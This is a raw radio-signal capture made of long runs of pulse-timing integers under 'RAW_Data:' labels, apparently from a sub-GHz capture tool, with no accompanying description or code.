-64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 127 -64 63 -126 129 -56 69 -126 63 -64 61 -64 63 -62 63 -64 63 -64 127 -64 61 -64 63 -62 63 -128 127 -64 63 -126 63 -64 61 -64 127 -128 63 -62 63 -62 63 -64 61 -64 127 -128 127 -128 127 -128 127 -56 67 -126 127 -130 125 -128 55 -70 125 -64 63 -62 63 -62 63 -64 127 -64 61 -64 63 -62 127 -128 63 -64 61 -64 61 -64 127 -128 63 -64 61 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 127 -64 63 -64 61 -128 63 -64 61 -64 63 -62 63 -64 63 -64 127 -64 63 -62 63 -62 63 -64 63 -128 127 -128 127 -128 127 -118 63 -62 133 -64 61 -128 63 -64 125 -128 127 -56 69 -64 61 -64 61 -64 63 -64 63 -128 127 -128 63 -62 61 -64 127 -128 127 -128 127 -56 69 -126 63 -62 127 -128 63 -62 63 -62 63 -64 125 -66 281 -56 71 -88 238 -193 91 -265 75 -162 95 -352 103 -424 53 -93 95 -622 75 -800 115 -144 77 -148 51 -196 51 -197 53 -215 92 -191 114 -172 61 -224 71 -415 57 -419 119 -456 89 -527 67 -102 71 -92 59 -126 97 -145 220 -64 71 -868 93 -88 69 -319 89 -108 120 -81 87 -188 85 -78 53 -76 133 -151 59 -88 81 -873 61 -355 57 -234 98 -161 61 -76 79 -74 72 -300 109 -52 71 -259 162 -52 87 -315 51 -782 177 -78 127 -205 95 -117 81 -309 61 -170 57 -469 77 -233 89 -1184 57 -152 71 -432 53 -183 115 -64 59 -187 119 -70 65 -108 53 -221 150 -893 51 -452 51 -259 61 -54 73 -208 67 -411 63 -154 105 -157 81 -120 51 -851 51 -413 96 -266 81 -160 112 -125 53 -72 59 -72 53 -172 91 -80 77 -213 67 -223 67 -137 123 -108 73 -347 97 -195 71 -437 67 -52 69 -80 51 -78 155 -80 53 -1003 63 -134 87 -337 67 -163 53 -130 80 -90 97 -54 106 -129 75 -102 61 -108 112 -52 124 -558 117 -942 53 -232 63 -342 53 -178 89 -315 79 -162 51 -62 188 -80 69 -76 65 -244 199 -136 61 -544 89 -134 61 -124 75 -88 53 -90 71 -60 89 -140 118 -984 71 -274 53 -230 94 -286 67 -182 55 -381 81 -64 74 -102 102 -82 110 -380 151 -186 53 -217 61 -80 61 -204 -RAW_Data: 135 -133 76 -72 69 -231 109 -52 202 -358 169 -160 88 -153 79 -145 103 -76 137 -114 61 -142 123 -157 95 -223 71 -242 176 -203 181 -80 61 -196 53 -106 117 -76 151 -378 61 -340 244 -138 296 -197 135 -292 143 -90 150 -253 79 -178 133 -54 63 -220 99 -251 98 -108 53 -114 79 -171 69 -134 160 -286 53 -162 114 -118 76 -54 71 -80 81 -136 53 -149 71 -128 57 -76 87 -144 63 -78 101 -58 141 -80 71 -161 65 -351 115 -266 89 -56 83 -80 59 -157 67 -118 101 -97 115 -100 91 -112 97 -60 61 -132 67 -84 169 -68 57 -290 95 -217 141 -64 61 -100 75 -181 98 -115 97 -260 114 -119 79 -271 119 -62 79 -72 89 -148 59 -54 53 -432 71 -352 77 -456 79 -216 132 -233 51 -98 78 -226 61 -623 71 -296 117 -295 96 -395 59 -134 82 -540 89 -52 65 -242 59 -90 51 -316 117 -104 79 -80 53 -205 79 -519 59 -304 137 -495 90 -120 77 -326 69 -259 125 -394 73 -520 53 -269 99 -178 116 -122 69 -72 53 -214 123 -91 65 -146 61 -96 53 -378 79 -104 53 -266 105 -366 83 -432 69 -225 53 -549 147 -96 84 -82 86 -377 111 -223 59 -666 153 -104 53 -66 71 -58 78 -86 51 -116 63 -179 67 -458 71 -54 53 -183 79 -80 51 -660 59 -104 61 -95 83 -157 53 -510 53 -703 63 -482 71 -251 61 -167 94 -171 69 -70 53 -333 114 -442 73 -52 57 -54 93 -90 113 -82 89 -261 53 -72 79 -123 71 -88 71 -153 59 -188 80 -164 99 -455 53 -163 133 -293 120 -190 59 -97 59 -52 104 -216 71 -118 78 -684 51 -247 97 -232 134 -200 59 -448 150 -279 51 -223 67 -204 51 -242 77 -91 77 -320 53 -190 53 -120 133 -399 61 -54 53 -52 103 -132 79 -762 128 -70 109 -668 61 -183 86 -94 99 -86 79 -159 77 -159 51 -404 83 -130 67 -198 165 -179 67 -234 149 -62 95 -81 296 -307 117 -82 75 -90 97 -349 87 -213 147 -142 113 -214 59 -70 98 -108 63 -301 88 -64 195 -84 71 -101 149 -70 97 -119 165 -90 189 -98 274 -106 83 -81 152 -56 119 -133 359 -67 81 -80 59 -52 97 -82 94 -54 250 -64 150 -98 59 -54 71 -244 189 -233 129 -74 93 -238 406 -60 227 -78 88 -62 159 -60 61 -179 53 -259 81 -154 59 -106 120 -60 89 -54 137 -134 89 -92 130 -92 109 -96 90 -104 166 -138 306 -202 149 -279 257 -385 179 -96 67 -331 151 -74 92 -70 95 -88 53 -167 524 -224 88 -54 -RAW_Data: 305 -326 53 -98 61 -90 85 -121 75 -70 264 -68 69 -328 117 -105 53 -90 97 -105 94 -90 61 -107 149 -168 61 -194 120 -98 77 -52 130 -54 73 -54 57 -80 63 -205 67 -207 87 -169 101 -723 57 -525 53 -52 61 -107 51 -152 59 -52 161 -322 53 -143 71 -64 175 -315 81 -52 67 -127 51 -52 116 -204 133 -126 53 -62 123 -80 51 -170 67 -64 53 -230 231 -90 135 -528 53 -352 113 -64 81 -299 79 -82 53 -178 71 -164 63 -138 61 -72 53 -1393 51 -76 87 -303 59 -64 69 -195 53 -108 85 -325 89 -85 51 -255 59 -90 69 -252 337 -314 71 -257 63 -160 83 -115 63 -60 67 -434 51 -156 166 -284 71 -70 113 -275 51 -394 121 -60 61 -112 133 -466 63 -372 159 -58 53 -270 61 -149 212 -234 100 -116 79 -58 51 -692 97 -557 59 -517 91 -137 53 -72 93 -256 88 -76 71 -332 155 -178 61 -128 105 -127 72 -288 59 -318 267 -693 53 -131 81 -610 71 -88 143 -184 53 -115 80 -108 114 -64 59 -74 108 -178 88 -203 140 -780 93 -531 114 -170 53 -80 53 -212 97 -52 83 -185 104 -230 75 -149 77 -118 53 -52 95 -484 89 -183 53 -205 87 -95 73 -426 171 -202 59 -405 73 -237 119 -148 93 -72 71 -152 53 -100 69 -90 59 -1264 73 -783 106 -999 51 -100 61 -116 89 -449 167 -118 61 -319 51 -185 69 -60 77 -160 194 -237 105 -159 73 -83 945 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 -RAW_Data: 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 355 -172 96 -62 162 -456 111 -197 114 -162 75 -340 51 -163 69 -160 67 -382 53 -276 160 -52 53 -60 125 -240 107 -195 195 -367 105 -114 79 -268 61 -167 61 -128 63 -102 102 -298 114 -131 81 -128 132 -922 187 -769 185 -459 61 -365 103 -542 81 -408 96 -346 53 -54 107 -139 61 -90 96 -162 61 -451 61 -72 79 -605 91 -103 71 -353 99 -206 69 -188 51 -332 63 -417 59 -222 53 -498 71 -90 61 -82 61 -90 61 -72 114 -365 53 -114 124 -279 71 -258 132 -230 102 -306 87 -81 124 -80 237 -242 53 -148 125 -80 191 -394 88 -238 67 -236 59 -68 65 -225 82 -152 179 -579 79 -68 105 -167 165 -108 59 -104 53 -321 83 -476 83 -183 81 -285 61 -235 138 -201 95 -245 97 -62 51 -280 51 -313 63 -222 124 -1371 71 -72 57 -489 51 -333 67 -52 53 -270 163 -84 179 -126 110 -186 61 -178 85 -78 89 -229 140 -106 97 -318 139 -148 115 -119 243 -106 51 -296 51 -201 59 -330 53 -622 138 -142 114 -144 87 -538 77 -266 63 -114 59 -86 81 -221 164 -92 51 -257 61 -205 53 -100 61 -126 55 -582 162 -407 105 -590 61 -144 51 -76 57 -920 53 -76 61 -139 59 -373 1265 -54 71 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 127 -66 61 -128 127 -56 71 -126 63 -62 63 -62 63 -64 63 -64 61 -64 127 -64 63 -64 61 -64 61 -128 129 -64 61 -128 63 -62 63 -62 127 -128 63 -64 61 -64 61 -64 63 -64 -RAW_Data: 127 -128 63 -62 127 -64 61 -128 127 -64 61 -128 127 -128 127 -128 53 -70 125 -64 63 -64 61 -64 61 -64 63 -128 129 -64 61 -62 63 -62 63 -64 63 -64 61 -64 63 -64 63 -128 127 -64 61 -64 61 -128 63 -64 125 -130 63 -62 61 -64 127 -128 63 -62 63 -62 63 -64 125 -130 63 -62 63 -62 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 127 -64 63 -62 63 -128 63 -62 63 -62 63 -64 63 -64 127 -128 63 -62 63 -62 63 -64 61 -64 127 -64 63 -62 63 -64 63 -64 61 -64 63 -128 63 -64 61 -64 61 -64 127 -130 63 -62 125 -128 127 -128 127 -128 55 -62 69 -62 127 -128 127 -128 55 -70 125 -64 63 -62 63 -128 127 -128 127 -56 69 -126 63 -62 63 -64 61 -64 127 -64 249 -115 175 -62 129 -346 161 -54 61 -106 79 -90 81 -78 69 -186 51 -224 71 -284 79 -607 59 -949 55 -588 125 -340 59 -120 71 -161 63 -367 71 -669 141 -170 95 -103 53 -136 81 -542 59 -116 63 -259 82 -689 79 -68 114 -419 103 -203 75 -52 207 -583 53 -609 131 -230 51 -255 124 -102 59 -127 67 -52 95 -371 81 -168 93 -418 112 -354 73 -168 115 -250 57 -108 107 -138 73 -1437 53 -52 239 -132 81 -142 53 -77 88 -108 160 -146 69 -343 108 -200 97 -172 77 -332 61 -152 84 -264 61 -240 105 -329 73 -328 91 -140 116 -197 51 -594 73 -180 121 -72 73 -114 67 -92 93 -327 53 -245 121 -230 104 -244 53 -60 53 -148 180 -664 112 -90 77 -82 78 -511 71 -293 89 -104 81 -168 100 -242 53 -82 71 -152 91 -134 51 -1003 61 -171 67 -346 71 -172 61 -72 96 -171 51 -60 59 -174 118 -129 63 -154 59 -308 132 -166 53 -92 104 -88 51 -146 115 -158 77 -338 67 -306 51 -158 97 -1073 118 -54 61 -246 171 -126 222 -126 143 -424 79 -184 174 -486 70 -62 131 -573 59 -451 51 -296 77 -154 53 -143 71 -104 69 -664 53 -78 69 -190 76 -293 53 -72 53 -62 160 -185 108 -739 99 -267 51 -78 74 -220 59 -639 55 -221 61 -72 108 -157 57 -100 65 -371 63 -80 167 -122 67 -102 77 -70 148 -268 93 -196 204 -88 61 -106 71 -54 53 -126 120 -90 63 -308 63 -108 57 -126 69 -90 57 -72 105 -218 63 -60 67 -253 105 -152 172 -139 304 -153 114 -305 99 -78 157 -198 51 -135 81 -359 105 -62 89 -58 93 -258 53 -52 100 -280 135 -222 89 -62 102 -102 59 -314 -RAW_Data: 199 -451 57 -98 97 -265 75 -56 61 -216 87 -150 53 -460 59 -433 63 -240 67 -156 73 -201 131 -213 57 -191 122 -207 83 -104 59 -282 111 -168 59 -298 103 -226 79 -219 65 -267 81 -369 61 -896 53 -240 113 -204 57 -330 69 -54 67 -134 65 -447 71 -62 81 -630 79 -54 71 -98 77 -674 67 -128 81 -457 51 -341 59 -180 55 -284 78 -54 120 -199 55 -98 83 -64 105 -111 51 -128 53 -233 69 -72 53 -257 81 -66 51 -122 65 -156 69 -223 107 -97 57 -255 186 -175 132 -108 116 -62 57 -241 65 -1319 97 -240 53 -196 129 -78 115 -310 67 -519 80 -105 1134 -54 71 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 61 -64 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 209 -80 111 -330 177 -1017 79 -133 113 -165 177 -748 87 -64 59 -276 -RAW_Data: 241 -411 69 -188 79 -549 51 -419 55 -255 81 -54 53 -673 73 -82 51 -168 65 -168 57 -64 53 -420 57 -154 209 -211 89 -187 71 -246 59 -651 59 -344 51 -150 121 -521 59 -233 79 -258 93 -87 112 -115 53 -166 96 -223 61 -544 107 -248 116 -739 51 -114 55 -325 125 -197 67 -82 75 -52 59 -174 51 -138 111 -178 61 -276 105 -831 107 -98 63 -151 70 -251 1059 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 127 -64 63 -128 127 -64 61 -126 63 -64 61 -64 63 -62 63 -64 63 -64 127 -64 63 -62 63 -62 63 -128 127 -64 63 -126 63 -64 61 -64 127 -128 63 -64 61 -62 63 -64 63 -62 127 -130 63 -62 125 -64 63 -128 127 -64 61 -126 127 -128 127 -128 55 -70 125 -64 63 -62 63 -62 63 -64 63 -128 127 -64 63 -62 61 -64 63 -64 61 -64 63 -64 63 -62 63 -128 129 -64 61 -62 63 -126 65 -62 127 -128 63 -64 61 -62 127 -128 65 -62 61 -64 61 -64 127 -128 65 -62 61 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 127 -66 61 -64 61 -128 63 -64 63 -62 63 -64 63 -62 127 -130 63 -62 61 -64 127 -128 127 -128 127 -56 67 -126 63 -64 127 -64 61 -128 63 -64 61 -64 127 -64 61 -128 63 -62 63 -64 125 -66 61 -128 127 -64 61 -64 61 -64 63 -62 63 -128 63 -64 127 -128 127 -128 127 -126 127 -118 135 -56 69 -62 61 -64 63 -128 339 -60 124 -54 89 -384 88 -124 88 -127 67 -136 65 -82 81 -226 53 -198 79 -52 178 -487 122 -190 96 -139 92 -204 159 -648 53 -144 65 -212 53 -429 67 -68 51 -423 61 -114 116 -284 79 -82 57 -373 57 -298 89 -142 118 -424 104 -248 59 -214 71 -190 61 -208 53 -90 59 -342 96 -112 266 -88 57 -78 225 -140 71 -108 75 -209 246 -78 75 -230 51 -326 53 -392 203 -215 125 -532 127 -219 101 -1556 59 -562 89 -681 153 -660 61 -366 51 -270 57 -241 104 -80 61 -66 63 -94 453 -260 128 -318 101 -270 108 -264 96 -521 53 -930 77 -257 165 -291 51 -200 93 -404 77 -76 53 -68 91 -200 63 -133 -RAW_Data: 137 -285 156 -424 79 -72 89 -152 173 -215 161 -262 99 -82 89 -167 101 -97 53 -215 69 -54 105 -231 81 -219 59 -150 190 -148 75 -148 172 -190 51 -347 142 -195 61 -202 133 -139 200 -68 57 -72 53 -54 77 -121 206 -72 80 -90 95 -92 63 -96 233 -82 99 -196 229 -81 97 -117 154 -75 178 -62 173 -68 124 -62 61 -203 81 -60 119 -74 156 -56 94 -556 69 -742 117 -1036 121 -203 152 -89 100 -112 128 -96 119 -347 59 -548 63 -1275 59 -253 57 -244 146 -459 59 -580 63 -100 71 -97 61 -415 97 -154 61 -82 69 -357 124 -64 65 -1169 59 -98 124 -493 59 -351 65 -96 77 -138 135 -246 89 -214 166 -163 89 -283 102 -258 83 -163 55 -285 138 -161 150 -352 79 -126 96 -480 107 -217 85 -212 134 -130 85 -169 103 -62 90 -609 51 -362 109 -250 89 -54 53 -98 71 -90 88 -203 109 -372 79 -270 108 -116 69 -242 62 -250 53 -97 75 -190 78 -64 107 -211 67 -386 95 -80 63 -115 138 -138 131 -218 59 -72 65 -134 51 -343 124 -260 88 -176 89 -162 67 -178 112 -96 57 -134 59 -496 71 -507 83 -849 112 -859 81 -361 51 -314 65 -160 51 -136 75 -132 87 -124 53 -371 51 -228 71 -60 75 -469 53 -113 59 -197 106 -79 59 -321 63 -116 67 -310 67 -669 105 -548 119 -76 59 -214 131 -191 105 -106 87 -101 73 -68 148 -74 51 -238 67 -432 59 -279 59 -310 140 -176 69 -704 153 -68 53 -118 210 -375 51 -124 63 -460 53 -168 61 -355 95 -70 95 -1039 105 -291 75 -114 161 -82 134 -68 125 -84 113 -331 87 -329 69 -232 79 -136 277 -219 269 -124 84 -162 269 -138 59 -54 51 -165 55 -248 94 -108 53 -211 101 -90 78 -203 101 -238 144 -145 114 -54 61 -167 114 -108 67 -180 59 -52 322 -56 75 -68 143 -184 125 -119 96 -194 179 -94 81 -78 156 -98 271 -87 505 -124 71 -216 95 -883 248 -60 51 -327 172 -208 120 -110 71 -193 53 -193 51 -124 122 -141 79 -115 99 -94 111 -119 120 -74 259 -273 63 -162 88 -134 104 -108 103 -318 53 -90 125 -509 95 -193 91 -232 71 -82 77 -80 71 -266 160 -52 97 -226 53 -143 53 -181 132 -108 97 -362 95 -62 147 -377 67 -198 215 -211 94 -146 92 -239 106 -108 51 -216 169 -78 59 -475 71 -76 55 -200 90 -52 89 -218 96 -150 68 -66 104 -930 159 -172 160 -92 83 -232 143 -576 83 -195 142 -385 110 -114 78 -432 55 -194 59 -74 67 -60 89 -86 -RAW_Data: 51 -907 51 -216 51 -482 111 -80 71 -1942 78 -82 134 -509 81 -54 59 -167 51 -130 85 -507 118 -364 63 -78 81 -431 89 -100 88 -280 88 -87 144 -104 63 -126 61 -108 53 -447 83 -508 51 -176 75 -201 110 -128 73 -76 59 -209 59 -226 53 -283 67 -197 115 -284 59 -284 79 -230 87 -90 61 -120 182 -468 59 -221 53 -361 53 -136 67 -139 128 -52 59 -186 53 -230 61 -550 53 -82 89 -221 98 -313 53 -278 189 -604 59 -663 63 -207 67 -301 59 -552 75 -142 142 -330 51 -471 149 -355 77 -384 109 -420 69 -365 79 -233 69 -203 51 -570 73 -141 53 -305 53 -613 83 -258 75 -335 813 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 199 -88 93 -104 115 -760 61 -202 -RAW_Data: 89 -830 67 -178 146 -500 61 -54 61 -324 53 -86 71 -199 75 -94 61 -64 53 -211 57 -128 73 -346 51 -140 112 -260 82 -820 53 -375 53 -171 79 -54 71 -409 53 -140 127 -124 61 -143 89 -117 87 -133 61 -91 65 -224 59 -407 57 -215 125 -82 53 -242 59 -579 104 -162 59 -412 61 -157 53 -205 121 -62 89 -168 98 -357 114 -110 75 -74 59 -140 61 -236 97 -360 57 -126 124 -362 95 -180 78 -376 105 -62 75 -62 96 -360 145 -612 103 -170 57 -240 67 -112 90 -383 75 -207 263 -173 65 -54 85 -162 89 -177 140 -186 113 -293 53 -139 157 -326 67 -197 67 -81 85 -106 63 -82 106 -517 115 -104 86 -96 73 -138 61 -110 106 -182 59 -554 77 -100 113 -108 79 -246 67 -331 61 -189 81 -180 53 -188 105 -163 80 -98 59 -251 166 -197 67 -84 51 -271 51 -509 59 -345 71 -80 89 -179 67 -427 89 -186 112 -381 158 -502 55 -335 55 -381 59 -301 95 -219 113 -62 79 -500 61 -270 100 -60 61 -205 89 -571 112 -144 75 -236 89 -259 111 -448 81 -710 225 -292 110 -127 51 -76 71 -701 75 -160 90 -279 88 -74 160 -166 83 -320 53 -153 71 -180 102 -423 89 -299 103 -400 105 -105 129 -74 155 -336 132 -275 77 -148 155 -66 53 -134 51 -148 262 -159 53 -72 179 -72 53 -125 192 -422 71 -212 63 -406 160 -60 1195 -56 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 127 -64 63 -126 129 -64 61 -126 65 -62 63 -62 63 -64 61 -64 63 -64 127 -64 63 -62 63 -62 63 -128 127 -66 61 -126 63 -64 61 -64 127 -128 63 -62 63 -62 63 -64 63 -62 127 -130 63 -62 63 -62 127 -128 127 -56 69 -126 129 -128 125 -128 55 -62 133 -64 63 -62 63 -62 63 -64 63 -128 127 -64 61 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -128 129 -64 61 -62 63 -128 63 -62 127 -128 63 -62 63 -62 127 -128 65 -62 61 -64 61 -64 127 -128 65 -62 61 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 127 -66 61 -64 61 -128 63 -64 63 -62 63 -64 63 -62 127 -130 63 -62 125 -130 63 -62 -RAW_Data: 125 -128 63 -64 125 -128 63 -64 61 -62 63 -64 125 -130 127 -56 69 -126 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 127 -64 63 -62 63 -64 61 -64 63 -128 127 -64 63 -62 61 -128 129 -128 63 -62 125 -128 127 -128 55 -70 125 -64 402 -54 59 -310 85 -62 69 -696 72 -86 55 -402 204 -176 78 -247 121 -90 95 -94 53 -314 59 -151 65 -285 81 -115 61 -118 120 -227 71 -160 53 -197 53 -229 51 -1083 51 -168 90 -724 89 -523 149 -64 104 -122 63 -291 57 -92 162 -222 89 -339 98 -72 113 -68 63 -54 61 -154 89 -357 85 -92 97 -113 59 -96 67 -231 94 -321 55 -74 51 -118 95 -253 65 -335 89 -88 63 -76 81 -163 63 -71 63 -211 78 -155 71 -161 115 -337 69 -476 125 -294 55 -90 67 -296 121 -160 53 -677 53 -243 121 -380 71 -114 95 -62 131 -339 53 -235 51 -80 80 -282 178 -72 202 -194 73 -343 59 -276 63 -167 67 -90 67 -320 65 -54 119 -358 88 -232 81 -152 81 -199 105 -116 59 -297 51 -192 73 -129 150 -198 132 -118 61 -188 71 -630 75 -112 95 -138 75 -454 124 -143 87 -178 96 -126 65 -299 69 -624 170 -1008 69 -54 80 -182 182 -89 96 -111 55 -104 67 -864 81 -158 89 -166 75 -96 184 -64 89 -66 107 -538 87 -730 130 -62 59 -258 65 -254 63 -229 87 -344 80 -715 53 -329 51 -102 75 -68 51 -78 104 -274 63 -196 81 -60 174 -145 65 -157 115 -62 76 -178 51 -135 258 -108 96 -457 123 -270 157 -608 89 -218 187 -166 67 -149 69 -100 156 -248 51 -126 65 -485 138 -269 77 -120 61 -208 51 -120 53 -334 87 -98 75 -220 67 -125 87 -100 110 -74 205 -102 71 -112 55 -88 114 -81 61 -66 99 -168 87 -165 51 -290 103 -315 87 -260 88 -118 111 -250 136 -440 116 -212 240 -392 183 -88 59 -66 249 -243 63 -142 59 -62 171 -58 61 -105 106 -88 131 -326 144 -591 94 -174 81 -137 67 -124 288 -75 67 -138 142 -110 85 -206 61 -182 366 -98 91 -189 53 -110 143 -106 110 -194 86 -82 53 -107 79 -530 83 -353 77 -128 97 -106 205 -82 83 -106 167 -88 196 -74 91 -90 67 -192 73 -220 59 -141 238 -157 69 -72 193 -106 61 -152 92 -1094 97 -402 73 -232 53 -68 93 -223 88 -188 120 -350 61 -359 88 -125 63 -90 69 -565 89 -118 177 -52 59 -200 65 -293 120 -204 53 -234 134 -122 51 -189 91 -181 61 -303 63 -346 53 -240 170 -89 -RAW_Data: 219 -1175 61 -279 97 -143 73 -184 102 -64 79 -189 95 -360 81 -127 83 -258 77 -160 61 -214 55 -178 129 -342 79 -166 53 -134 103 -72 103 -120 73 -266 87 -115 99 -292 53 -185 71 -283 153 -136 53 -54 61 -90 77 -211 53 -263 87 -103 67 -278 151 -277 82 -459 71 -182 57 -160 57 -129 59 -114 113 -89 57 -76 51 -152 94 -52 59 -132 131 -126 79 -64 71 -169 59 -505 89 -278 63 -120 53 -127 75 -62 91 -284 53 -72 165 -463 53 -178 110 -160 84 -206 142 -105 51 -130 65 -134 136 -68 55 -132 69 -123 191 -485 53 -60 53 -60 57 -341 140 -436 81 -108 79 -266 146 -142 75 -114 89 -472 53 -188 95 -188 172 -176 57 -231 51 -84 57 -96 65 -122 55 -367 150 -420 51 -233 69 -179 65 -315 118 -140 73 -94 107 -612 59 -182 59 -152 67 -52 51 -150 51 -367 78 -170 61 -98 95 -245 121 -152 160 -236 213 -165 123 -250 70 -360 65 -164 53 -183 847 -56 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 